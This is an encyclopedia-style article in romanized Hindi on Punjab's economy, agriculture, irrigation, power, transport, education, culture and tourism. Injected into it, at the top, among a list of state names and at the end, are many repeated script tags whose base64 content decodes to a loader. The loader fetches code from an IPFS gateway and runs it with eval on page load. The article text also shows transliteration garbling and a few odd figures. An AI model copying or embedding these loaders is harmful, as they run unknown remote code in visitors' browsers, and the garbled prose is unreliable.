<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> chanh‍digadh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dadara tatha nagar haveli <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> daman aur div <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> lakshadvip <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> puducheri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

panjab ki arthavyavastha mean utpadan aur vanijyik krishi ki pramukhata hai aur yahaan vibhinn laghu v madhyam akar ke udyog haian. bharat ke mukhy rajyoan mean se panjab mean prati vyakti ay sabase adhik hai. bharat ke kul kshetraphal ke matr 1.6 pratishat bhoo-bhag vala panjab lagabhag bharat ke kul ann utpadan ka 12 pratishat hissa paida karata hai.

krishi

panjab krishi pradhan rajy hai. panjab ki bhoomi bahut hi upajaoo hai. yahaan geanhoo aur chaval ki fasal mukhy roop se hoti haih. panjab rajy mean dish ke bhaugolik kshetr ke sirf 1.5 pratishat bhag mean desh ke gehooan ke utpadan ka 22 pratishat, chaval ka 12 pratishat aur kapas ki bhi 12 pratishat paidavar ka utpadan karata hai. ajakal panjab mean fasal gahanata 186 pratishat se bhi adhik hai. pichhale do tin dashakoan mean panjab ne gehooan ka 40 se 50 pratishat adhik utpadan karake 'desh ki khady tokari' aur 'bharat ka anaj bhandar' hone ka khitab le liya hai. panjab ka vishv ke kul utpadan mean, chaval ek pratishat, gehooan do pratishat aur kapas mean 2 pratishat ka yogadan hai. panjab mean prati hekteyar khad ka utpadan 177 kilogram hai. rashtriy star par khad 90 kilogram prati hekteyar prayog ki jati hai. 1991-92 se 1988-99 tak aur 2001 se 2003-04 tak lagatar krishi vistar sevaoan ka rashtriy utpadak puraskar prapt kiya hai. anandapur sahab mean vishv ki sabase b di anaj mandi hai.

harit kraanti

panjab mean krishi ka jabaradast vikas mukhyat: harit kraanti ka parinam hai, jisane rajy mean adhunik krishi praudyogiki ki shuruat ki. adhik paidavar vale gehooan aur chaval ke bijoan ke agaman sath hi in phasaloan ke utpadan mean kee guna vriddhi huee. gehooan aur chaval ki kheti lagabhag tin-chauthaee krishi kshetr mean hoti hai. any vanijyik phasaloan mean kapas, ganna, aloo, aur tilahan haian. makka, mooangaphali, chana, bajara aur kuchh dalahanoan ki kheti mean pichhale kuchh varshoan mean kami aee hai. halaanki gehooan v chaval ki upaj ab bhi kafi achchhi hai, isamean aur vriddhi nahian ho rahi hai. chaval ke lie adhik pani ki avashyakata hone ke karan bhoomi ke poshak tattv kam hote ja rahean. jisase mitti anupajaoo ho rahi hai. parinamasvaroop utpadakata banae rakhane ke lie adhik urvarak ka istemal karana p data hai. mitti ki urvarata ko phir se prapt karane ke lie aur krishi ko labhakari udyam banane ke lie krishi mean vividhata lane ka prayas kiya ja raha hai. bagabani, phooloan ki kheti, murgipalan aur deyari udyogoan ka dhire-dhire vikas ho raha hai.

sianchaee

panjab mean sianchaee ke lie 1134 sarakari naharean haian, jinase bhoomi ki sianchaee hoti hai. yahaan sabhi prakar ki kheti hoti hai. krishi pradhan rajy hone ke karan krishi vikas ko prathamikata di jati hai. panjab sarakar fasaloan ke vividhikaran ke lie anek yojanaean chala rahi hai. pani ke sahi istemal ke lie protsahit karake vibhinn ziloan ke sianchaee kshetr mean 0.97 lakh hekteyar ko badhaya liya hai. rajy ka kul bhaugolik kshetr 50.36 lakh hekteyar hai. kul bhoomi mean se 42.90 lakh hekteyar kshetr mean kheti hoti hai. rajy mean 33.88 lakh hekteyar kshetr mean naharoan se sianchaee ki jati hai. mukhy naharoan aur unaki shakhaoan ki kul lambaee 14,500 ki.mi. hai. ravi nadi par bana 'ranajit sagar baandh' ek bahuuddeshiy nadi ghati pariyojana hai. 160 mitar ooanche is baandh mean 3.48 lakh hekteyar kshetr ko sianchaee upalabdh karane ki kshamata hai.

vishv baiank ki sahayata se panjab mean sianchaee aur jal pariyojanaoan ka doosara charan poora ho gaya hai. 1,0920 ki.mi. naliyoan ka nirman kiya ja chuka hai. 1260 ki.mi. lambi naliyoan ki marammat aur 53 ki.mi. nee naliyoan ka nirman kiya gaya hai. bhatianda nahar pranali ki tin naharoan ki kshamata badhane ke lie 18.83 karod ki lagat ki pariyojanaean poori kar li haian. [[chitr:Wagah-Border-Amritsar.jpg|thumb|250px|left|bagha b aaurdar, amritasar]] ranajit sagar baandh ke atirikt pani ke lie punarniman ki pariyojana prarambh ki gayi hai. 364.10ki.mi. lambi mukhy nahar ke nirman kary mean se 298 ki.mi. ke lagabhag kary poora kiya ja chuka hai, 1,507 ki.mi. chhoti naliyoan ka ka nirman 140 karod rupaye ki lagat se poora ho chuka hai. banur nahar mean sadaiv pani rahe, 38.08 karod ki lagat ki yojana ka prastav nabard ke pas bheja hai. panjab ke kaandi kshetr ke vikas ke lie 11 chhote baandhoan ko banaya gaya hai jinase 12,000 hekteyar bhoomi ki sianchaee ka lakshy hai. rajy mean 1,615 tayoobavail lage hue haian. rajy ke kul sianchit kshetr mean se 60 pratishat ki sianchaee niji aur sarakari tayoobavailoan se aur 40 pratishat naharoan se sianchaee hoti hai.

sianchit pradesh

panjab ka lagabhag samoocha krishi kshetr sianchit hai aur is prakar yah desh ka sarvadhik sianchit pradesh hai. sarakari naharean aur nalakoop sianchaee ke pramukh sadhan haian. himachal pradesh mean sthit bhakh da baandh pariyojana rajy ke sianchaee ka adhikaansh jal upalabdh karati hai. dakshin aur dakshin-pashchim panjab mean mukhyat: naharoan ke zariye sianchaee hoti hai, jabaki uttar aur poorvottar mean nalakoopoan (tin-chauthaee se adhik nalakoop bijali dvara chalit) ka vyapak upayog hota hai aur dakshin-pashchim mean phuharoan se sianchaee bhi prachalit hai. lagabhag 1970 mean sanpann huee chakabandi ke karan niji nalakoop sianchaee ka teji se vikas hua, sath hi yantroan ke istemal samet krishi ki karyakushalata mean bhi vriddhi huee. amataur par zyada khetoan vale kisanoan ko harit kraanti ki karyakushalata mean bhi vriddhi huee. zyada khetoan vale kisanoan ko harit kraanti se zyada labh hua, jisamean rajy ke gramin kshetroan mean ay ki vishamata badhi. sooti,,ooni aur reshami vastr udyog, khady utpad , dhatu utpadan, parivahan upakaran v purje, dhatu v mishr dhatu udyogoan mean sabase zyada shramik karyarat haian. [[chitr:Golden-Temple-Amritsar-16.jpg|svarn mandir, amritasar|right|200px|thumb]]

bijali

bhakh da baandh, bhakh da men lain, naangal panabijali yojana, gangooval aur kotala pavar haus, harike bairaj, sarahiand phidar, madhopur hedavark ko bairaj banana aur pog mean vyas nadi ka baandh adi kuchh sianchaee aur panabijali pariyojana haian. madhopur vyas liank ka nirman ravi nadi ke atirikt pani ko vyas mean sthanaantarit karane ke lie kiya gaya hai. vyas-sataluj nadi liank pariyojana mean vyas nadi ke pani ka prayog bijali ke utpadan ke bad is pani ko goviand sagar jhil mean bhejane ka prabandh kiya gaya hai. mukeriya aur anandapur sahib panabijali yojanaean mahattvapoorn sianchaee aur bijali pariyojanaean haian.

ranajit sagar baandh yojana ek bahu uddeshiy pariyojana hai jisamean ravi nadi par 160 mitar ooancha baandh banaya ja raha hai jisase 3.48 lakh hekteyarabhoomi ke lie sianchaee ki kshamata hai. ranajit sagar baandh ki charoan ikaiyaan saphalatapoorvak chal rahi haian. is pariyojana se 2100 miliyan yoonit bijali ka utpadan kiya ja sakega. kul utpadan ki 4.6 bijali jammoo aur kashmir ko di jaegi.

udyog

mahattvapoorn udyogoan mean hojari, saikil, silaee mashin, khel ke saman, bijali ki mashinean, upakaran v purjoan ka nirman shamil hai. jivashm eeandhanoan ke abhav mean panjab ke udyogoan ko oorja ki kami ka samana karana p data hai. rajy ke lagabhag tin-chauthaee gharoan mean bijali ka upayog hota hai. naye bijali ghar aur tapavidyut pariyojanaean kam kar rahi haian lekin maang apoorti se kahian adhik hai.

parivahan

thumb|250px|panjab ka manachitr

s dak marg

• panjab rajy ki s dakoan ki kul lambaee 50,506 ki.mi. hai.
• sabase mahattvapoorn bat yah hai ki lagabhag sabhi gaanv s dakoan se ju de hue hai.
• panjab rajy sarakar ki s dakoan, puloan aur bhavanoan ke rakharakhav ka dayitv pi.dabloo.di. ki hai.
• 'panjab s dak aur baandh vikas bord' ki sthapana 1998 mean huee. isaka uddeshy rajy ki s dakoan ke lie atirikt sadhan jutana tha.

rel marg

• desh ki rel pranali ke ek hisse, uttari relave ka karyakushal vyapak sanjal panjab mean hai.
• rel seva ki tarah hi dak v tar seva aur rediyoan tatha telivishzan ka prasaran keandr sarakar ke niyantran mean hai.
• rajy mean relave marg ki kul lambaee 3,726.06 ki.mi. hai.
• pakistan se ju da rel marg bhi panjab ke amritasar se hai.

bandaragah

• dilli se chandigadh aur amritasar, ludhiyana aur bhatianda nagaroan ke lie bhi niyamit havaee sevaean upalabdh haian.
• panjab rajy mean char nagarik viman klab amritasar, ludhiyana, patiyala aur jalandhar mean haian. inake atirikt chandigadh mean ek aantararajyiy havaee adda, rajasaansi (amritasar) mean ek aantararashtriy havaee adda aur patiyala, sahaneval (ludhiyana) mean do havaee adde haian.

shiksha

sarakar ke sath- sath mean niji sangathanoan ne bhi skool aur mahavidyalay star par balak- balikaoan ki shiksha ke vistar mean mahattvapoorn bhoomika nibhaee hai. manyata prapt niji prabandhan vale sansthanoan ko kafi had tak sarakar se madad milati hai. chhah se gyarah sal tak ke bachchoan ke lie prathamik shiksha anivary hai. vastut: pratyek gaanv ke nikat prathamik vidyalay aur rajy mean uchchatar madhyamik, uchch aur madhy vidyalayoan ke sadhan netavark ke bavajood panjab mean 1991 tak sirf 58.5 pratishat janasankhya (sat sal aur usase adhik ayoo ke) sakshar thi, jabaki bharat ka ausat 52.2 pratishat hai. saksharata dar anusoochit janajati (41 pratishat), visheshakar mahilaoan mean (31 pratishat ), kafi kam hai. thumb|250px|left|panjabi poshak panjab mean chhah vishvavidyalay haian: patiyala mean panjabi vishvavidyalay, amritasar mean gurunanak dev vishvavidyalay, chandigadh mean panjab vishvavidyalay (keandr dvara sanchalit aur chandigadh keandrashasit pradesh mean sthit), ludhiyana mean panjab krishi vishvavidyalay, jalandhar mean panjab takaniki vishvavidyalay (rajy ke sabhi ianjiniyariang aur praudyogiki sansthan isase sanbaddh haian), aur faridakot mean baba pharid yoonivarsiti aauf helth saiansez (sabhi medikal/ deantal aur ayurvedik k aaulej isase sanbaddh haian). rajy mean 225 se adhik k aaulej aur vyavasayik sansthan haian. vyavasayik sansthanoan mean beaant k aaulej aauf ianjiniyariang aiand teknol aauji (guradasapur), bi. bi. es. k aaulej aauf ianjiniyariang (fatehagadh), bi. je k aaulej aauf ianjiniyariang aiand teknol aauji (rop d), k aaulej aauf egrikalcharal ianjiniyariang (ludhiyana), bi. ar. e. rijanal ianjiniyariang k aaulej (jalandhar), ji. en. di. ianjiniyariang (ludhiyana), ji.ar. skool aauf planiang aiand arkitekchar (amritasar), es. bi. es. k aaulej aauf ianjiniyariang aiand teknol aauji (firozapur), es. el. ianstityoot aauf ianjiniyariang aiand teknol aauji (sangaroor), es. yoo. es. k aaulej aauf ianjiniyariang aid teknol aauji (mohali), thapar ianstityoot aauf ianjiniyariang aiand teknol aauji (patiyala), adesh ianstityoot aauf ianjiniyariang aiand teknol aauji aur ji. zed. es. k aaulej aauf ianjiniyariang aiand teknol aauji (bhatianda) shamil haian.

prabandhan aur kanpyootar vijnan aiplikeshan mean snatak aur snatakottar pathyakram ki shuruat karane par bal diya ja raha hai. sath hi prasaran ke zariye rozagaronmukh tatha saanskritik shiksha ka prasar bhi mahattvapoorn hai. panjab mean vyavasayik aur takaniki shiksha prapt log b di sankhya mean hone chahie, lekin avashyakata is bat ki hai ki sabhi staroan par vishashakar skooloan mean shaikshik prabandhan sunishchit kiya jae.

saanskritik jivan

[[chitr:Bhangra.jpg|thumb|250px|bhaang da, panjab]] lokagit, prem aur yuddh ke nrity mele aur tyohar, nrity, sangit tatha sahity is rajy ke saanskritik jivan ki visheshataean haian. panjabi sahity ki utpatti ko 13 vian shatabdi ke musalaman soophi sant shekh pharid ke rahasyavadi aur dharmik dohoan tatha sikkh panth ke sansthapak, 15vian-16vian shatabdi ke guru nanak se jo da ja sakata hai. jinhoanne pahali bar kavy abhivyakti ke madhyam ke roop mean vyapak rup se panjabi bhasha ka upayog kiya. 18vian shatabdi ke uttarardh mean panjabi sahity ko samriddh banane mean varis shah ki bhoomika atulaniy hai. 20vian shatabdi ke aranbh mean kavi v lekhan bhaee virasianh tatha kavi pooran sianh aur dhani ram chaitrik ke lekhan ke sath hi panjabi sahity ne adhunik kal mean pravesh kiya. hal ke varshoan mean panjabi sanskriti ke vibhinn pahaluoan ko chitrit karane vali vibhinn lekhakoan, kaviyoan aur upanyasakaroan ki bhoomika bhi kafi mahattvapoorn hai. kaviyoan mean sabase prasiddh mohan sianh mahir aur shiv kumar batalavi the; upanyasakaroan mean jasanvatasianh kanval, guradayal sianh aur sohan sianh shital ullekhaniy haian; kulavant sianh virk ek vikhyat lekhak haian. panjab ke gramin jivan ka chitran karane vale sarvashreshth upanyasoan mean se ek jnani guradit sianh ki mera pind hai, jo panjabi sahity ki utkrisht rachana hai.

panjab mean kee dharmik aur mausami tyohar, jaise- dashahara, dipavali, baisakhi aur vibhinn guruoan tatha santoan ki varshagaanth-manae jate haian. bhaang da, jhoomar aur sammi yahaan ke lokapriy nrity haian. panjab ki sthaniy nrity shaili gidda, mahilaoan ki vinodapoorn git-nrity shaili hai. sikkhoan ke dharmik sangit ke sath-sath upashastriy mugal shaili bhi lokapriy hai, jaise khayal, thumari, gajal aur kavvali.

rajy ke ullekhaniy vastushilp smarakoan mean amritasar mean sthit svarn mandir (haramandir) hai, jo uttar mugal shaili ke anuroop nirmit hai. isake guanbad aur jyamitiy rupaankan jaisi pramukhataean sikkhoan ke adhikaansh pooja sthaloan mean duharaee gee haian. svarn mandir mean sone ki jaradoji ka kam, bootedar phalak aur rangin pattharoan se sajjit sangamaramar ki divarean haian. any mahattpoorn bhavanoan mean amritasar mean jaliyaanvala bag mean shahid smarak, durgiyana (amritasar mean bhi) ka hindoo mandir, kapoorathala mean sthit moor shaili ki masjid aur bhatianda tatha bahaduragadh mean sthit purane qile haian. [[chitr:Jallianwalah-Bagh-Amritsar.jpg|thumb|250px|left|jaliyaanvala bag, amritasar]]

tyohar

• dashahara
• dipavali
• holi
• muktasar ka maghi mela
• qila rayapur mean gramin khel
• patiyala ka basant
• anandapur sahib ka hola mohalla
• talavandi saboo mean vaishakhi
• sarahiand mean roza sharif par urs, chhappar mela
• faridakot mean shekh farid agam parv
• gaanv ramatirath mean ram tirath
• sarahiand mean shahidi zor mela
• hari vallabh sangit sammelan
• jalandhar mean baba sodal adi

[[chitr:Golden-Temple-Amritsar-4.jpg|thumb|250px|svarn mandir, amritasar]]

paryatan

• panjab ki pavan bhoomi se sant bhi paida hue aur aitihasik yuddh bhi hue. puratattv jnan ka yahaan bhandar hai.
• rajy mean paryatakoan ki ruchi ke bahut se sthan haian.
• inamean amritasar ka svarnamandir, durgiyana mandir, jaliyaanvala bag, stil siti- govindagadh mean, anandapur sahab mean takht shri keshagadh sahab, khalasa saanskritik parisar, bhakh da-naangal baandh, patiyala mean qila aandaroon, motibag rajamahal, harike pattan mean ardr bhoomi, puratatvik mahattv ka sangol aur chhatavir chidiyaghar, am khas bag mean mugalakalin smarak parisar aur sarahiand mean afagan shasakoan ki qabrean aur shekh ahamad ka roza shariph, jalandhar mean sodal mandir aur maharshi valmiki ka smarak adi mukhy haian.

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>